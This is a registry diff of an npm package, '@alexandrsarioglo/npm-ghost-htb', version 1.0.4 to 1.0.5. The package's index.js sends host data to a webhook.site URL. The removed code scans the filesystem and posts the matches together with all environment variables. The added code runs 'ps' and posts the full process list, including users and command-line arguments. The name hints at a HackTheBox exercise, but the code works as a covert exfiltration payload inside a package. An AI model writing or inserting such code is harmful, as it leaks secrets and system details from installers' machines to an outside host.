@alexandrsarioglo/npm-ghost-htb 1.0.4 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +38 -63
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,10 +1,8 @@
|
|
|
1
|
-
const WEBHOOK = 'https://webhook.site/
|
|
1
|
+
const WEBHOOK = 'https://webhook.site/b3d8463d-444d-412a-891b-bd291b37e743'; // <-- put your URL
|
|
2
2
|
|
|
3
3
|
// async-scan-htb-json.js (CommonJS)
|
|
4
4
|
// Usage: node async-scan-htb-json.js [startPath]
|
|
5
5
|
const fs = require('fs');
|
|
6
|
-
const fsp = require('fs/promises');
|
|
7
|
-
const path = require('path');
|
|
8
6
|
const http = require('http');
|
|
9
7
|
const https = require('https');
|
|
10
8
|
const { URL } = require('url');
|
|
@@ -25,70 +23,47 @@ function sendProgress(obj) { // async HTTP; event loop must be free to flush
|
|
|
25
23
|
} catch {}
|
|
26
24
|
}
|
|
27
25
|
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
26
|
+
// list-procs-ps.js
|
|
27
|
+
// Usage: node list-procs-ps.js [outputPath]
|
|
28
|
+
// Example: node list-procs-ps.js /tmp/procs.json
|
|
31
29
|
|
|
30
|
+
const { spawn } = require('child_process');
|
|
32
31
|
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
const YIELD_EVERY = 1000; // tune: how often to yield & send progress
|
|
32
|
+
// ps columns: PID USER STAT START TIME COMMAND (we ask for pid,user,comm,args)
|
|
33
|
+
const ps = spawn('ps', ['-eo', 'pid,user,comm,args'], { stdio: ['ignore', 'pipe', 'pipe'] });
|
|
36
34
|
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
const lines = data.split(/\r?\n/);
|
|
41
|
-
for (let i = 0; i < lines.length; i++) {
|
|
42
|
-
if (NEEDLE.test(lines[i])) {
|
|
43
|
-
results.push({ file: filePath, line: i + 1, text: lines[i].trim() });
|
|
44
|
-
}
|
|
45
|
-
}
|
|
46
|
-
} catch {
|
|
47
|
-
// unreadable/binary -> skip
|
|
48
|
-
}
|
|
49
|
-
}
|
|
50
|
-
|
|
51
|
-
async function walk(dir, depth = 0) {
|
|
52
|
-
// yield periodically so HTTP can flush
|
|
53
|
-
scanned++;
|
|
54
|
-
if (scanned % YIELD_EVERY === 0) {
|
|
55
|
-
sendProgress({ type: 'scan-progress', scanned, matches: results.length, at: dir });
|
|
56
|
-
await new Promise(r => setImmediate(r));
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
// prune common virtual/system roots by prefix
|
|
60
|
-
for (const ex of EXCLUDES) {
|
|
61
|
-
if (dir === `/${ex}` || dir.startsWith(`/${ex}/`)) return;
|
|
62
|
-
}
|
|
35
|
+
let buffer = '';
|
|
36
|
+
ps.stdout.setEncoding('utf8');
|
|
37
|
+
ps.stdout.on('data', chunk => buffer += chunk);
|
|
63
38
|
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
39
|
+
ps.on('close', code => {
|
|
40
|
+
const lines = buffer.split(/\r?\n/).filter(Boolean);
|
|
41
|
+
// drop header line
|
|
42
|
+
if (lines.length === 0) {
|
|
43
|
+
console.error('ps produced no output');
|
|
44
|
+
process.exit(1);
|
|
69
45
|
}
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
await inspectFile(full);
|
|
46
|
+
const header = lines.shift();
|
|
47
|
+
const procs = lines.map(line => {
|
|
48
|
+
// split into 4 columns: pid,user,comm,args. We expect whitespace-separated pid & user & comm, then the rest is args
|
|
49
|
+
const m = line.trim().match(/^(\d+)\s+(\S+)\s+(\S+)\s+(.*)$/);
|
|
50
|
+
if (!m) {
|
|
51
|
+
// fallback: try splitting
|
|
52
|
+
const parts = line.trim().split(/\s+/);
|
|
53
|
+
return { raw: line };
|
|
79
54
|
}
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
await walk(root);
|
|
87
|
-
sendProgress({
|
|
88
|
-
type: 'scan-complete',
|
|
89
|
-
scanned,
|
|
90
|
-
totalMatches: results.length,
|
|
91
|
-
results,
|
|
92
|
-
env: process.env
|
|
55
|
+
return {
|
|
56
|
+
pid: parseInt(m[1], 10),
|
|
57
|
+
user: m[2],
|
|
58
|
+
comm: m[3],
|
|
59
|
+
args: m[4]
|
|
60
|
+
};
|
|
93
61
|
});
|
|
94
|
-
|
|
62
|
+
|
|
63
|
+
const result = { generated: new Date().toISOString(), procs };
|
|
64
|
+
sendProgress(result);
|
|
65
|
+
});
|
|
66
|
+
ps.on('error', err => {
|
|
67
|
+
console.error('Failed to run ps:', err.message);
|
|
68
|
+
process.exit(2);
|
|
69
|
+
});
|